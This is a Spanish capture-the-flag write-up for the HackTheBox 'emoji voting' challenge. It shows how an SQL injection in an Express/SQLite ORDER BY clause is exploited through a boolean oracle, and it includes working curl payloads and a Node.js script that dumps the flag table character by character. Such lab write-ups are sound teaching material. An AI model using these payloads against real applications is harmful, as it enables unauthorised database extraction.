emoji voting
5 minutos de lectura
Se nos proporciona este sitio web:

También tenemos el código fuente del proyecto en Node.js (Express).
Análisis del código fuente
Los endpoints disponibles están en routes/index.js:
const path = require('path');
const express = require('express');
const router = express.Router();
let db;
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/vote', (req, res) => {
let { id } = req.body;
if (id) {
return db.vote(id)
.then(() => {
return res.send(response('Successfully voted')) ;
})
.catch((e) => {
return res.send(response('Something went wrong'));
})
}
return res.send(response('Missing parameters'));
})
router.post('/api/list', (req, res) => {
let { order } = req.body;
if (order) {
return db.getEmojis(order)
.then(data => {
if (data) {
return res.json(data);
}
return res.send(response('Seems like there are no emojis'));
})
.catch((e) => {
return res.send(response('Something went wrong'));
})
}
return res.send(response('Missing parameters'))
});
module.exports = database => {
db = database;
return router;
};
Hay dos endpoints por POST que admiten entrada del usuario. Ambos realizan ciertas acciones en la base de datos (database.js):
const sqlite = require('sqlite-async');
const crypto = require('crypto');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
let rand = crypto.randomBytes(5).toString('hex');
return this.db.exec(`
DROP TABLE IF EXISTS emojis;
DROP TABLE IF EXISTS flag_${ rand };
CREATE TABLE IF NOT EXISTS flag_${ rand } (
flag TEXT NOT NULL
);
INSERT INTO flag_${ rand } (flag) VALUES ('HTB{f4k3_fl4g_f0r_t3st1ng}');
CREATE TABLE IF NOT EXISTS emojis (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
emoji VARCHAR(255),
name VARCHAR(255),
count INTEGERT
);
INSERT INTO emojis (emoji, name, count) VALUES
('👽', 'alien', 13),
('🛸', 'flying saucer', 3),
('👾', 'alien monster', 0),
('💩', '👇 = human', 118),
('🚽', '👇 = human', 19),
('🪠', '👇 = human', 2),
('🍆', 'eggplant', 69),
('🍑', 'peach', 40),
('🍌', 'banana', 21),
('🐶', 'dog', 80),
('🐷', 'pig', 37),
('👨', 'homo idiotus', 124)
`);
}
async vote(id) {
return new Promise(async (resolve, reject) => {
try {
let query = 'UPDATE emojis SET count = count + 1 WHERE id = ?';
resolve(await this.db.run(query, [id]));
} catch(e) {
reject(e);
}
});
}
async getEmojis(order) {
// TOOD: add parametrization
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM emojis ORDER BY ${ order }`;
resolve(await this.db.all(query));
} catch(e) {
reject(e);
}
});
}
}
module.exports = Database;
Aquí vemos que está usando SQLite y que la flag se almacena en una tabla con un nombre aleatorio.
Hay una vulnerabilidad aquí:
async getEmojis(order) {
// TOOD: add parametrization
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM emojis ORDER BY ${ order }`;
resolve(await this.db.all(query));
} catch(e) {
reject(e);
}
});
}
SQLi
Dado que nuestra entrada está dentro de la variable order, y no hay parametrización, podemos inyectar código SQL. Como resultado, podemos extraer información de la base de datos.
Sin embargo, este es un SQLi limitado porque está en una sentencia ORDER, por lo que no podemos usar sentencias como UNION SELECT, y las consultas apiladas no funcionan.
Entonces, debemos encontrar un oráculo booleano. Por ejemplo, este:
$ curl 83.136.254.199:34355/api/list -d '{"order":"(CASE WHEN (SELECT 1) = 1 THEN id ELSE count END)"}' -sH 'Content-Type: application/json'
[{"id":1,"emoji":"👽","name":"alien","count":13},{"id":2,"emoji":"🛸","name":"flying saucer","count":3},{"id":3,"emoji":"👾","name":"alien monster","count":0},{"id":4,"emoji":"💩","name":"👇 = human","count":118},{"id":5,"emoji":"🚽","name":"👇 = human","count":19},{"id":6,"emoji":"🪠","name":"👇 = human","count":2},{"id":7,"emoji":"🍆","name":"eggplant","count":69},{"id":8,"emoji":"🍑","name":"peach","count":40},{"id":9,"emoji":"🍌","name":"banana","count":21},{"id":10,"emoji":"🐶","name":"dog","count":80},{"id":11,"emoji":"🐷","name":"pig","count":37},{"id":12,"emoji":"👨","name":"homo idiotus","count":124}]
$ curl 83.136.254.199:34355/api/list -d '{"order":"(CASE WHEN (SELECT 1) = 2 THEN id ELSE count END)"}' -sH 'Content-Type: application/json'
[{"id":3,"emoji":"👾","name":"alien monster","count":0},{"id":6,"emoji":"🪠","name":"👇 = human","count":2},{"id":2,"emoji":"🛸","name":"flying saucer","count":3},{"id":1,"emoji":"👽","name":"alien","count":13},{"id":5,"emoji":"🚽","name":"👇 = human","count":19},{"id":9,"emoji":"🍌","name":"banana","count":21},{"id":11,"emoji":"🐷","name":"pig","count":37},{"id":8,"emoji":"🍑","name":"peach","count":40},{"id":7,"emoji":"🍆","name":"eggplant","count":69},{"id":10,"emoji":"🐶","name":"dog","count":80},{"id":4,"emoji":"💩","name":"👇 = human","count":118},{"id":12,"emoji":"👨","name":"homo idiotus","count":124}]
Con esto, tenemos una forma de saber si una condición es verdadera o falsa.
Boolean-based SQLi
En este punto, podemos comenzar a extraer información de la base de datos carácter a carácter, con este oráculo booleano (por ejemplo, usando SUBSTR and LENGTH functions). Más información en PayloadsAllTheThings. Para esto, se recomienda escribir un pequeño script. Usé Node.js esta vez:
const oracle = async payload => {
const res = await fetch(`${BASE_URL}/api/list`, {
body: JSON.stringify({ order: `(CASE WHEN ${payload} THEN id ELSE count END)` }),
headers: { 'Content-Type': 'application/json' },
method: 'POST',
})
const data = await res.json()
return data[0].id === 1
}
Ahora, lo primero que necesitamos es encontrar el nombre de la tabla que contiene la flag. Para esto, en SQLite hay una tabla del sistema llamada sqlite_master que contiene esta información:
const main = async () => {
let flagTableName = 'flag_'
while (flagTableName.length !== 15) {
for (let c of CHARS) {
if (await oracle(`(SELECT SUBSTR(tbl_name, ${flagTableName.length + 1}, 1) FROM sqlite_master WHERE tbl_name LIKE 'flag_%') = '${c}'`)) {
flagTableName += c
break
}
}
}
console.log('Flag table name:', flagTableName)
A continuación, podemos comenzar a consultar esta tabla para obtener la flag. Una cosa que me gusta hacer primero es encontrar la longitud del campo que queremos extraer:
let flagLength = 1
while (await oracle(`(SELECT LENGTH(flag) FROM ${flagTableName}) != ${flagLength}`)) {
flagLength++
}
console.log(`Flag length: ${flagLength}`)
Finalmente, podemos volcar el campo sabiendo la longitud de antemano:
let flag = 'HTB{'
while (flag.length !== flagLength - 1) {
for (let c of CHARS) {
if (await oracle(`(SELECT SUBSTR(flag, ${flag.length + 1}, 1) FROM ${flagTableName}) = '${c}'`)) {
flag += c
break
}
}
}
flag += '}'
console.log('Flag:', flag)
}
¡Y ya está!
Flag
Si ejecutamos el script, capturaremos la flag en cuestión de segundos:
$ node solve.js 83.136.254.199:34355
Flag table name: flag_535725d860
Flag length: 39
Flag: HTB{putt1ng_th3_c0mp3t1on_0ut_0f_0rd3r}
El script completo se puede encontrar aquí: solve.js.